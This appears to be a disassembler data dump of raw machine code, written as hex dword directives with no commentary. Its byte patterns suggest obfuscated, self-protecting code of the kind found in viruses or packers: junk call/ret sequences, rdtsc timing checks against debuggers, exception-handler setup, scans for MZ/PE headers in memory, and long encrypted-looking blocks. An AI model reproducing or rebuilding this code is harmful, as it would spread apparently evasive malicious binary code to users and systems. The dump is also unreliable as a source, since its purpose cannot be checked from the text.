		dd 8A0F686Ch, 6, 2EFDBD29h, 0C00B062Bh,	10840Fh, 95030000h
		dd 62B1D39h, 595E9h, 0E7816600h, 7E800428h, 840F0020h
		dd 586h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	55C35646h, 0F7C98899h, 0FAC23544h, 2D3D9D29h, 2960062Bh
		dd 2B0B69B5h, 61B0B606h, 358D3160h, 66062B1Ch
		db 81h,	0E7h
word_580046	dw 5EDFh		; DATA XREF: ___:off_427A80o
					; ___:00427A88o ...
		dd 8920468Dh, 2B01598Dh, 0EA858906h, 8B062F2Fh,	2B34B58Dh
		dd 117E906h, 8E80000h, 11000000h, 6A1E0D21h, 897B0A07h
		dd 2B26ED85h, 6A405906h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0C7CFC350h,	1F419589h
		dd 5690062Bh, 0DE95059h, 0DF000000h, 0EFEA2164h, 7F3A15C0h
		dd 21F666CDh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0AC7FD364h, 0FF5BA35h, 46AF8B7h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0C4C35343h
		dd 6EE27565h, 0DF157FD2h, 0D78166DBh, 51906FD6h, 5A535250h
		dd 0FE8B310Fh, 505F585Ah, 750CD1B9h, 0CD809069h, 0FE95FFBDh
		dd 0F062F2Fh, 8Dh, 8BD88B00h, 819523CBh, 58062B2Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0BAC35040h, 0A924BF6Ch
		dd 0B833B187h, 0BF9B70Fh, 1A840FDBh, 0E8000000h, 6, 29A2CF30h
		dd 0F28113F4h, 18E936Fh, 418E95Fh, 8B660000h, 3880C8h
		dd 0FEF4850Fh, 0E181FFFFh, 4574CC71h, 5FE9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 26786617h, 1BB755ECh, 95298CA9h, 62B0841h, 24CD958Bh
		dd 860F062Bh, 0
		dd 56006A48h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 585ACBDEh, 95239D9Eh, 62B0101h, 2FEA853Bh
		dd 820F062Fh, 3Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 6CC35747h, 38807EF9h,	15840F5Ch, 31000000h
		dd 2B06798Dh, 2F388006h, 0FF96850Fh, 8D8BFFFFh,	62B15C1h
		dd 80C1B940h, 0CA8B655Bh, 2FF2BD83h, 0F00062Fh,	17B84h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0D78B14CDh, 108A0F50h, 50000000h, 86BF6652h
		dd 50310FCEh, 5A310F52h, 89585A58h, 830F2404h, 0Fh, 0AE9h
		dd 92327500h, 46F76BB4h, 380C1CCh, 2F2FF285h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 2147A8F2h, 5050C26Bh, 0D68B6652h, 7E8310Fh, 53000000h
		dd 406CB58Ch, 6160E426h, 89585A5Fh, 81662404h, 6A2EAFC1h
		dd 48F0F04h, 66000000h,	903233B9h, 0AE96060h, 2E000000h
		dd 0E9F2DC0Bh, 0DFDB8F6Eh, 0D8B86681h, 525061B1h, 5250310Fh
		dd 585A310Fh, 5061585Ah, 14E8h,	56BB5400h, 578211E2h, 1420895h
		dd 68AE5364h, 9A99D798h, 6A905F56h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 75E8C355h
		dd 0C4935377h, 0FE95FFF3h, 0E9062F2Fh, 0Fh, 28507F27h
		dd 0CE2B3463h, 59D06D1Ch, 8BFEA5E4h, 53006AD8h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 911B7F18h
		dd 5899F52Bh, 892AC680h, 2B3339BDh, 0FDB0B06h, 0D84h, 0A454BF00h
		dd 0E7E96627h, 80000001h, 0C6D1E9h, 5E900h, 56730000h
		dd 23142ACAh, 2B08198Dh, 0BD295806h, 62B19B9h, 86B95650h
		dd 5F05E1C7h, 29240489h, 2B24C98Dh, 0E91E6A06h,	0Ah, 0B029467Ah
		dd 4525CFC9h, 0F502E7Fh, 287h, 89D78A00h, 830F2404h, 6
		dd 0D099589h, 0F52062Bh, 87h, 95FF5900h, 62F2FFEh, 5E860h
		dd 90110000h, 12ABF32h,	2B259195h, 8B615F06h, 6A58F8D8h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 70A4C355h, 55FBBA53h, 57D7ED80h, 6850Fh
		dd 0BD890000h, 62B34A9h, 0FDB0B5Ah, 2D84h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 0F706A9C5h, 0E976D280h, 10Ah, 3688E281h, 669043A1h
		dd 9050D08Bh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	0EEC35343h, 0C300C7C3h,	0DEB5FF31h, 60062F2Fh
		dd 6880Fh, 8D8B0000h, 62B17C1h,	13E9h, 642F7400h, 2E23E971h
		dd 0A447B589h, 0B7A4ACE0h, 0D7BB03D0h, 0E295FF61h, 6A062F2Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0C56EC355h, 12E9h, 8FE45B00h, 0EBC6CF1h
		dd 858DA7E1h, 57BC6330h, 0B03671Fh, 2B850FC0h, 89000000h
		dd 2B0BE195h, 958B6106h, 62B1D59h, 2FE685C7h, 1062Fh, 0BF0F0000h
		dd 2ED781C9h, 0E92C9C50h, 4Ah, 1D198529h, 8B61062Bh, 2B111195h
		dd 0F99D0906h, 81062B34h, 11CC6h, 718D8B00h, 0E9062B0Bh
		dd 0FFFFF9F1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	0C0C35343h, 959ADE86h, 817D295Dh, 0E668FA8Bh, 505AFD5Eh
		dd 0DE852h, 571C0000h, 74B007Fh, 2D21B105h, 0FDAF46Ah
		dd 8Ah,	310F5F00h, 0AE9h, 11969300h, 0C057476Eh, 5A981DEDh
		dd 24348158h, 5AFDDEE6h, 6E9h, 0FF39F900h, 6A0E7143h, 698D3100h
		dd 0FF062B0Ah, 2F2FEEB5h, 0AE906h, 0A5730000h, 9FBE3693h
		dd 0CF081855h, 343995FFh, 6A062Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 3BD212C3h, 8E0FB7h, 8B000000h
		dd 2F2FE685h, 0CD958906h, 50062B15h, 6A240489h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 811AC353h, 1D9BED5Eh, 4DD6FF26h, 2FF6858Dh, 6A062Fh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0F4A124C3h, 0C8B966EBh, 0C9B5897Dh, 50062B01h, 6A240489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 5C8AC357h, 0CD60B411h, 26BABA66h,	2FB3858Dh
		dd 6A062Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0E634F0C3h, 48EE7AFDh, 138D0F6Ch,	0E9000000h
		dd 0Eh,	1364C148h, 666047B1h, 0C4405A63h, 0BF9027CEh, 26F8074Dh
		dd 0CF8B6650h, 0D9BD8990h, 0FF062B24h, 2B2E4195h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 85894FCAh, 62B1941h,	950C08Bh, 2B021DB5h, 0BD835906h
		dd 62B01F9h, 83097500h,	2B1689BDh, 13740006h, 0C08B5350h
		dd 4D0B8h, 0B09D8D00h, 0FF062DBDh, 83585BD3h, 2B1689BDh
		dd 11740006h, 0D0B85350h, 8D000004h, 2DBCAF9Dh,	5BD3FF06h
		dd 3D858958h, 8B062B16h, 2B307195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 8BB0842Bh
		dd 6AC08BCBh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 66F2C356h, 6A58FA8Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 825CC350h, 489B32F4h, 8B0F0133h, 6, 80D8D8Bh, 8C2062Bh
		dd 48C0BA00h, 0C08B57F9h, 8E9h,	4A06F200h, 25ECD6ACh, 11858D04h
		dd 6A062F30h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0BFCC353h, 0B9BD29BAh,	89062B09h
		dd 2B001585h, 75E906h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h
		dd 0B1DB5FFh, 858D062Bh, 62E83EBh, 8589D0FFh, 62B3545h
		dd 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah, 1000Dh, 354595FFh
		dd 32E9062Bh, 0C6000000h, 2B332D85h, 0DF685606h, 0FFA9C530h
		dd 2B1BDDB5h, 0EB858D06h, 0FF062E83h, 958589D0h, 8D062B1Bh
		dd 2B02A585h, 206A5006h, 0FF56056Ah, 2B1B9595h,	0C1C36106h
		dd 30E906E0h, 0C7000000h, 3A27B5h, 0Ah dup(0)
		dd 0E9000000h, 470h, 6CA89CC1h,	0BC784C13h, 0CFCBFD63h
		dd 1B97B1B0h, 0A4605AFCh, 65FD6659h, 1248A763h,	0C69BF430h
		dd 6FE90682h, 608F4D49h, 0C482DA54h, 91A9AF92h,	76E1C781h
		dd 0F399F0Bh, 0EB0D4FE1h, 531C0294h, 0C2CBE262h, 636AEC33h
		dd 0EB5BDB55h, 0ED73AE94h, 0D26EF0DBh, 5B1D7AB6h, 1153AE7Dh
		dd 1A79D437h, 748B0244h, 70CDFE1h, 0DC941AEEh, 8FC0D329h
		dd 0B17F4C8h, 312923Ch,	8BCC2BE7h, 0AFEA75B1h, 0A1594A8h
		dd 0B5987355h, 8A901A26h, 75E594EBh, 0D7F16DB4h, 2D1104F4h
		dd 70560A89h, 8A57D9E7h, 342A94EBh, 50B5AAF5h, 629E3A0Ch
		dd 86654305h, 0EB8ABF4Ah, 5B2F9094h, 9724432Fh,	35FB7Dh
		dd 71E70000h, 0B1784E12h, 0FBD0F66Eh, 0EBC045D5h, 0F1D56E94h
		dd 96D9A9C5h, 15D7Dh, 81790000h, 0BA01EADAh, 0F74AA1A7h
		dd 9A73587Ch, 52099D61h, 1F59B672h, 81D9FD39h, 0D2DB34D9h
		dd 0AF56EEA9h, 0FE65B813h, 0A992FDCEh, 0B789D1D5h, 2241C7Bh
		dd 380E52A9h, 0F1CB8CD3h, 0AB8DC71Ah, 0F0D46940h, 0A89CA579h
		dd 976F007Ah, 66847Dh, 0CECD0000h, 5D79B096h, 4E7D981h
		dd 0E65EA3B9h, 3B57EBC0h, 3E023BD0h, 0D0CCF668h, 4E99A3B7h
		dd 0C01B95A3h, 0F06E94EBh, 0A8E76A39h, 61990B2h, 8482694Fh
		dd 215D897Dh, 0A57D96E0h, 53h, 0E7D98121h, 9CA0B904h, 0BAD9644Fh
		dd 0F069A0A6h, 0BDB0A60Ch, 0EBC01DAFh, 52EE7094h, 2E3AC956h
		dd 94EBC09Ch, 1AA069F1h, 7DEADA81h, 94B0B3EEh, 0B33D2B37h
		dd 0C694EBC0h, 0EC25158h, 94EBC063h, 0BA9EFD54h, 281C0584h
		dd 96D970FAh, 1147Dh, 71B60000h, 907B4D12h, 5C001F8Eh
		dd 3A3A816Ah, 4EDDCF1Ch, 0C01B95A3h, 0F06E94EBh, 863C0039h
		dd 0B970540Bh, 0D0CCF266h, 5B84E959h, 0C6D9484Dh, 21207F8Ah
		dd 7E9AA407h, 0F3164EADh, 0FBDD9770h, 19F20E10h, 0CE29E501h
		dd 755BB096h, 6D3F39E5h, 66DEBD80h, 0D6D76B40h,	1355592Dh
		dd 336EF935h, 0AFB3182Ch, 721237Eh, 391F59A4h, 0E6DA83D2h
		dd 6AA680C0h, 6BD2F975h, 104AD77h, 6F290000h, 7785D21Fh
		dd 8AC6DE72h, 0BC12DE0Dh, 236145A8h, 36011A94h,	0B1CDB734h
		dd 6B4D075Ah, 361050AFh, 0E8CE86D5h, 0FE9DB003h, 0F886655Bh
		dd 2883A59Fh, 9A6E9716h, 0BE7A5C14h, 6B684D19h,	0AF1C8B77h
		dd 3782E52Ch, 3A8D1A93h, 49000000h, 84D3206Fh, 0EBC09678h
		dd 54B7AB14h, 0EBC0F678h, 0B589A014h, 2ADD9201h, 0F0054BE7h
		dd 0BAB90839h, 0E5F39E2Dh, 14EBFC4Bh, 0E7E9203Eh, 94EBFC25h
		dd 59CAC658h, 7Eh, 11F6F39h, 8AEDF14h, 0D27D9943h, 0C6E0EBC6h
		dd 0EB74EA8Ah, 251B415Ch, 1CAEB8C6h, 716D3EF5h,	9018D23Ah
		dd 42DEB047h, 0F695B84Bh, 55AC5D63h, 9EF93513h,	0A52B80A6h
		dd 6D3E8B16h, 0AE04F87Dh, 151490B6h, 0F11F48A5h, 730FCD76h
		dd 5BA60515h, 91EC3F19h, 0C71AF1D7h, 0CFE96B8Ch, 0B5A858B3h
		dd 69EC1ED1h, 0A18FFF95h, 0CD208BBDh, 0A1331357h, 52EE0A67h
		dd 817CF705h, 0F13797Ch, 1F6F0F93h, 671685D2h, 797E4585h
		dd 0E5F31E8Fh, 8ADA9742h, 6FB21901h, 48D7D3F5h,	0DE2D0B4Dh
		dd 4DE9DB83h, 0E603455Ch, 0DF63486Eh, 1C646843h, 5B29340Ah
		dd 5D38DEA2h, 0D41D1304h, 0F7022625h, 61EE705Bh, 2C7BD953h
		dd 7BB2AC29h, 8E0A2C24h, 70891281h, 7F30E43h, 0DFF97B86h
		dd 96B6B10Ch, 0EED24B35h, 1DAFBD48h, 70292CCEh,	0F713352Dh
		dd 4F69EB36h, 0C5677500h, 0B8292CCEh, 5CBB67A6h, 66E9C2E4h
		dd 0Dh,	62F15E50h, 0EBC0D456h, 78B1A994h, 0E8DC8152h, 0A284BC03h
		dd 5B6DF249h, 17312D70h, 0CFF169B4h, 87B9A1FCh,	0BE9ED924h
		dd 744A0E6Dh, 33154897h, 545208D8h, 4C2815Ah, 83000000h
		dd 148704EAh, 89575C24h, 4C781E7h, 81000000h, 4EFh, 243C8700h
		dd 240C895Ch, 21D668h, 24048900h, 4240BA52h, 0D189062Fh
		dd 8324148Bh, 8B5404C4h, 0C4832404h, 8BB5304h, 1000000h
		dd 38F51C3h, 24048B5Bh,	81E38953h, 4C3h, 4C38300h, 5C241C87h
		dd 592434FFh, 4C481h, 11E90000h, 2DFFFC39h, 8BAC15BAh
		dd 5E453A5Bh, 2F4636B8h, 0FFC50306h, 7F9E6DE0h,	0EDAACA3Dh
		dd 2EC89F5Fh, 32378165h, 1AF5E96Ch, 90471353h, 2576E435h
		dd 0EA2C778h, 2BC5EB39h, 0FD544E73h, 0FB8EED1Eh, 22AB4B2Dh
		dd 9B487226h, 4BF0BF56h, 727C6A48h, 2A99AE4Bh, 0E0A22133h
		dd 3000BA4Eh, 0EA81F00Dh, 0F0000000h, 8914C283h, 2B169D95h
		dd 14EA8306h, 47A3858Dh, 6450062Fh, 35FFh, 89640000h, 25h
		dd 0E800h, 2B580000h, 0F00025C2h, 8166FFFFh, 0F5A4D38h
		dd 1285h, 50B70F00h, 81D0033Ch,	45503Ah, 0A840F00h, 2D000000h
		dd 1000h, 0FFFFD9E9h, 89C88BFFh, 2B080985h, 3C400306h
		dd 650B70Fh, 34A19589h,	508B062Bh, 0CD958950h, 5062B05h
		dd 0F8h, 30C508Bh, 0BD9589D1h, 3062B17h, 95890850h, 62B2029h
		dd 58F64h, 83000000h, 13E904C4h, 51000000h, 10244C8Bh
		dd 0B0A981h, 10000000h,	33590000h, 0BD83C3C0h, 62B328Dh
		dd 24840F00h, 0C6000000h, 2B332D85h, 0D2684706h, 0FFD49AA7h
		dd 2B1BDDB5h, 0EB858D06h, 0FF062E83h, 0FF006AD0h, 0F18589D0h
		dd 8B062B18h, 12E8D3h, 1CB40000h, 6BEB9273h, 28C0AC3Ch
		dd 0A2FDDE73h, 31A7A57Fh, 82B41EBFh, 8166586Ch,	813588EEh
		dd 7108C0h, 66C93300h, 8B36B8BBh, 0C2810814h, 3471EA2Dh
		dd 75D5EA81h, 0DF8B0935h, 0A73FF281h, 43B71151h, 8048F52h
		dd 0B0F68060h, 57D7BA66h, 0BB665361h, 835FA361h, 0EB8004E9h
		dd 60F981C0h, 0FFFFF8Fh, 0FFFFC285h, 0E78166FFh, 31607935h
		dd 2B25E19Dh, 5E906h, 52FA0000h, 8B1A5CA5h, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 5346D49Ah, 0EB5BD8Bh, 6657062Bh, 8359FE8Bh, 2B01F9BDh
		dd 9750006h, 1689BD83h,	7400062Bh, 8B535019h, 438B8C0h
		dd 85890000h, 62B1B81h,	0BF759D8Dh, 0D3FF062Dh,	0BD83585Bh
		dd 62B1689h, 50177400h,	438B853h, 85890000h, 62B1B81h
		dd 0BC649D8Dh, 0D3FF062Dh, 0B70F585Bh, 57006AFEh, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
		dd 0E5154D5Fh, 4EB018ADh, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0B50327C3h, 62B2FA5h
		dd 6E9C88Bh, 47000000h,	0F8F5A890h, 7D9E801h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0C70555C3h, 121731A2h, 0DE8h, 0EEE3CC00h, 120A917h
		dd 0EF0785DAh, 8B0F5367h, 2, 895FF18Bh,	2B052585h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0FB8BC583h, 772E8h, 6E900h, 648F0000h, 2B4047D1h, 0D258589h
		dd 6A062Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 7B3FE7C3h, 87878F4Ah, 0E8F9B70Fh,	737h, 1C659D89h
		dd 8589062Bh, 62B0A91h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0C7C35545h, 0FA8F07E5h, 1C9D8D89h, 0E8062Bh
		dd 6A000007h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 77D5C356h, 0A6252633h
		dd 4C5968A5h, 989BD29h,	0BD8B062Bh, 62B2AF5h, 7A18589h
		dd 6A062Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 70E46EC3h, 0A32E1D13h, 6A2E8h, 19C68100h
		dd 896AC399h, 2B016585h, 691E806h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0A9CDE8C3h
		dd 0DFD8589h, 49BE062Bh, 0E80F1060h, 663h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CBC35545h, 0C220147Fh
		dd 958589F7h, 6A062B1Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 11EBC357h, 0C3C68169h
		dd 0F4D6C90h, 10E8FBBFh, 6A000006h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 5200C351h
		dd 29891A43h, 2B028D8Dh, 4CB96606h, 0D58589D7h,	6A062B24h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 5F1DC355h, 0ECA7CA85h, 0E8D04EE4h, 5B7h
		dd 2FEDBD8Bh, 8589062Bh, 62B1219h, 1F55BD23h, 0A0E8062Bh
		dd 2B000005h, 2B09658Dh, 0F6B96606h, 0F18589CDh, 8B062B2Eh
		dd 2B0BD18Dh, 585E806h,	50510000h, 0DE9h, 3DCCA00h, 41529E27h
		dd 27DB03Dh, 5F5FC5BDh,	18B98589h, 6A062Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 71F070C3h
		dd 999589DDh, 0E8062B2Ch, 53Fh,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0AC35343h, 858945CCh, 62B2A5Dh
		dd 8027C580h, 10E89DC9h, 6A000005h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0DCA9C352h
		dd 0B30ACF28h, 0FFB6B4BFh, 0A585897Bh, 0F9062B21h, 4DEE8h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 1585897Ch, 0E8062B1Dh, 4B7h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 5EC35343h, 2F0EE2D5h
		dd 899141DEh, 2B0ECD85h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 6CE8721Ch, 3000004h, 2B1EB18Dh
		dd 45858906h, 0F8062B0Dh, 3279B531h, 0B0062Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 4CC35242h, 0E9F6BF0Fh
		dd 0Dh,	0A29CB46Dh, 3444528h, 0E259268Fh, 0D8B60FEAh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 3CC35747h, 56B9AF28h
		dd 0BD4CB80h, 2B06318Dh, 6BA06h, 0BD890000h, 62B15C1h
		dd 6AC38Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0D0E77FC3h, 2820Fh, 0F18B0000h, 6A04E8C1h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 66B8C351h, 0F766F78Bh, 53006AE2h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0D90B318Eh
		dd 398F9C8Fh, 8BD82BC5h, 12E993F7h, 0AC000000h,	19EAC323h
		dd 0B3062DC5h, 0F1BC65D5h, 0D56564A3h, 6A935087h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 8C8BC355h, 4A2831EDh, 9D89743Eh, 62B1935h, 356995FFh
		dd 6A062Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 4CE165C3h, 0F2001058h, 56006A5Bh,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 6540411Fh
		dd 1B341339h, 3241958Dh, 6A062Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8915BCC3h, 0FABF0F1Ah
		dd 6A044289h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0F202C357h, 0E995899Fh, 8D062B25h
		dd 2B2F2595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0BD030E98h, 62B3021h, 6A1A89h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 9E815AC3h, 97818584h, 428914B3h, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 12E980h, 6AC70000h
		dd 0B807C8C6h, 6B446DA8h, 1D449F67h, 59034EA9h,	1AFD958Dh
		dd 6A062Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0AFFD0DC3h, 0B4F2D44h, 8B50C2AFh,	2B2C31BDh
		dd 0BF665906h, 1A89978Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0B2C35646h, 4A8804E5h, 4289C91Eh, 918D0904h
		dd 8D062B33h, 2B004D95h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 89B072A2h, 7E91Ah, 6580000h
		dd 207F37F0h, 4428907h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 53C35747h, 0A8FA269Eh, 0B70F4E1Fh, 0F0BF0FCEh
		dd 89D958Dh, 1A89062Bh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0A3C35343h, 0A7160F0Ah, 84401AE8h, 6880FB7h
		dd 9000000h, 2B15419Dh,	4428906h, 5FC98166h, 4D958D56h
		dd 89062B1Fh, 2B1215B5h, 0DE906h, 86C50000h, 41B6449h
		dd 68D75176h, 89C60E9Bh, 35BD8B1Ah, 89062B1Ch, 0BF660442h
		dd 958DDF61h, 62B181Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0C7C35747h, 81666A3Bh, 8957A6D9h, 52006A1Ah
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 9FB9D6D3h, 12E95FA6h, 78000000h, 2E18317h, 72B57239h
		dd 29ED54F9h, 0A5783B6Dh, 442894Ah, 68E0Fh, 85890000h
		dd 62B2A0Dh, 111D958Dh,	6A062Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 3B7554C3h, 0DFC5A320h
		dd 6650844Bh, 4CBFF78Bh, 893AAFB4h, 890F1Ah, 0F000000h
		dd 48Bh, 59535700h, 4428959h, 13E9h, 22E50800h,	0ED6C3048h
		dd 1E185B11h, 3A83DA0Fh, 494B9DDh, 0D5E9h, 0CD958900h
		dd 0E9062B21h, 7, 0E6161C69h, 6ADDFEBFh, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 6FA035F2h, 6A006AE9h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0DD6BC353h,	0A8A96FE0h
		dd 8B083AE4h, 6A006AC8h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0A82FC357h,	8753EB7Ah
		dd 0A58D8B8Bh, 6A062B05h, 558D3100h, 0FF062B05h, 2B01E195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 52DBE427h, 0AE8h, 14408A00h, 0B2B5F03h
		dd 8B1F5D1Bh, 2B0E918Dh, 8BC35F06h, 2B2BB9BDh, 0F1816606h
		dd 0C58AD940h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	0D7C35242h, 0A765CED2h,	89DD4A71h, 2B05B9B5h, 6AC08B06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0C6D1C350h, 0E74A3BB9h, 6820F60h,	29000000h
		dd 2B326595h, 0F9BD8306h
		dd 62B01h, 0BD830975h, 62B1689h, 50197400h, 0B8C08B53h
		dd 438h, 34798589h, 9D8D062Bh, 62DBFDCh, 585BD3FFh, 1689BD83h
		dd 7400062Bh, 0B8535017h, 438h,	34798589h, 9D8D062Bh, 62DBC7Dh
		dd 585BD3FFh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 15h,	64C35747h, 6860F75h, 89000000h,	2B2EEDB5h, 8DC08B06h
		dd 2B2FC185h, 8B665606h, 0B3905BFBh, 899050B9h,	2B19E1BDh
		dd 6A006A06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 5B6C355h, 0A06C15FAh, 2DABB33Ch
		dd 26F59D33h, 6A062Bh, 0D319D89h, 858D062Bh, 62F54CDh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0CCC35242h
		dd 2AD9ECEAh, 0D5CDBC01h, 0D8529DFh, 83062B0Fh,	8B6605C0h
		dd 0DE990D8h, 0BF000000h, 0AE789A0h, 0B18D1B5Bh, 75F730B9h
		dd 8B666050h, 0E89061C8h, 11h, 523B8FCEh, 0EF5234BCh, 42515BF8h
		dd 0E395A8B0h, 96CCBF81h, 0E85B0501h, 0Ch, 53C03D11h, 6EA6E8Ah
		dd 0AD10DBF2h, 0FB99D8Bh, 6A5F062Bh, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0E9006AE8h
		dd 12h,	49311CD2h, 18FD0CEDh, 0D40AA620h, 4B2D08B6h, 95FF1832h
		dd 62B34E1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	16C35040h, 8D8DAA58h, 62EA6AAh,	1A8DBD8Bh, 0D1FF062Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 1AC35545h
		dd 0C8D0Fh, 800F0000h, 6, 8419D8Bh, 890F062Bh, 3, 83FE8B66h
		dd 2B0A01BDh, 850F0106h, 0A5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0B4C35040h,	82379D5Bh, 0D0B3010Dh
		dd 6A026Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0FF93BCC3h, 0DE93Dh, 0B8430000h, 698C174h
		dd 8C92FA30h, 33A338CAh, 2B1539BDh, 0BF669006h,	8B504208h
